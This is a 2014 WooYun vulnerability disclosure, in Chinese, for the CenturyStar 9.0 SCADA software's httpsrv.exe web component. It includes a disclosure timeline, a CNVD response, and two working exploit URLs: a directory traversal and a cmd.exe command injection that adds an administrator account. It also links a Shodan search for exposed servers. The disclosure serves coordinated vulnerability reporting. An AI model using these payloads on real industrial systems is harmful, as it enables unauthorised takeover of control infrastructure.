[公开漏洞]CenturyStar9.0 SCADA组态软件存在远程命令执行漏洞

CenturyStar9.0 SCADA组态软件存在远程命令执行漏洞 相关厂商： 北京世纪长秋科技有限公司 漏洞作者：Z-0ne 提交时间：2014-04-27 14:30 公开时间：2014-06-11 14:30 漏洞类型：命令执行 危害等级：高 自评Rank：10 漏洞状态： 已交由第三方厂商(cncert国家互联网应急中心)处理 漏洞来源：http://www.wooyun.org Tags标签： 远程代码执行 工业控制系统 监控系统 工控安全 SCADA 组态软件 漏洞详情 披露状态：

2014-04-27：细节已通知厂商并且等待厂商处理中
2014-04-30：厂商已经确认，细节仅向厂商公开
2014-05-10：细节向核心白帽子及相关领域专家公开
2014-05-20：细节向普通白帽子公开
2014-05-30：细节向实习白帽子公开
2014-06-11：细节向公众公开

简要描述：

CenturyStar一般用于上位机对下属PLC，仪表等做图形状态监控，该软件系统中某组件在特定情况下存在远程命令执行，如果成功利用可远程执行任意系统命令，如果失败则可能造成组件拒绝服务，在他公司的各系列软件中应该是个通用型问题，感觉吧被自己人捅还是好过于被国外捅，国外的又看不到详情，好吧，走起~

详细说明：

软件下载地址：

http://www.chncla.com/chinese/download/Showdownload.asp?ID=958&ClassID=27



漏洞组件：httpsrv.exe



1、目录浏览



描述：使用“.../”可对WEBSERVER目录进行跳转，可对上层目录进行遍历

2、命令执行

描述：例如软件默认安装位置为“C:\CenturyStar”，那么可以使用“http://XXX.XXX.XXX.XXX/.../.../windows/system32/cmd.exe?/c+net+user+admin+admin+/add”加用户等

问题原因：该组件的Banner为MS-MFC-HttpSvr/1.0，在某网络编程实例能下到，不过CenturyStar的httpsrv在处理传入参数的时候给带入执行了，反观问题，当然目录浏览基本对此标头的webserver基本都通用都通用，用此套代码这程序实例最多的就是iSee的摄像头监控webserver，http://www.shodanhq.com/search?q=MS-MFC-HttpSvr%2F1.0++country%3ACN

漏洞证明：

exp1:

http://xxx.xxx.xxx.xxx/.../.../

exp2:

http://XXX.XXX.XXX.XXX/.../.../windows/system32/cmd.exe?/c+net+user+admin+admin+/add

修复方案：

1、检查传入参数

版权声明：转载请注明来源 Z-0ne@乌云 漏洞回应 厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-04-30 22:57

厂商回复：

CNVD确认并复现所述情况，此前CNVD接收到ICS-CERT报送的同类漏洞后尝试联系过该公司，暂未获回应。向其继续通报，同时结合近期的工业控制系统漏洞案例，已经向上级主管部门上报。

最新状态：

暂无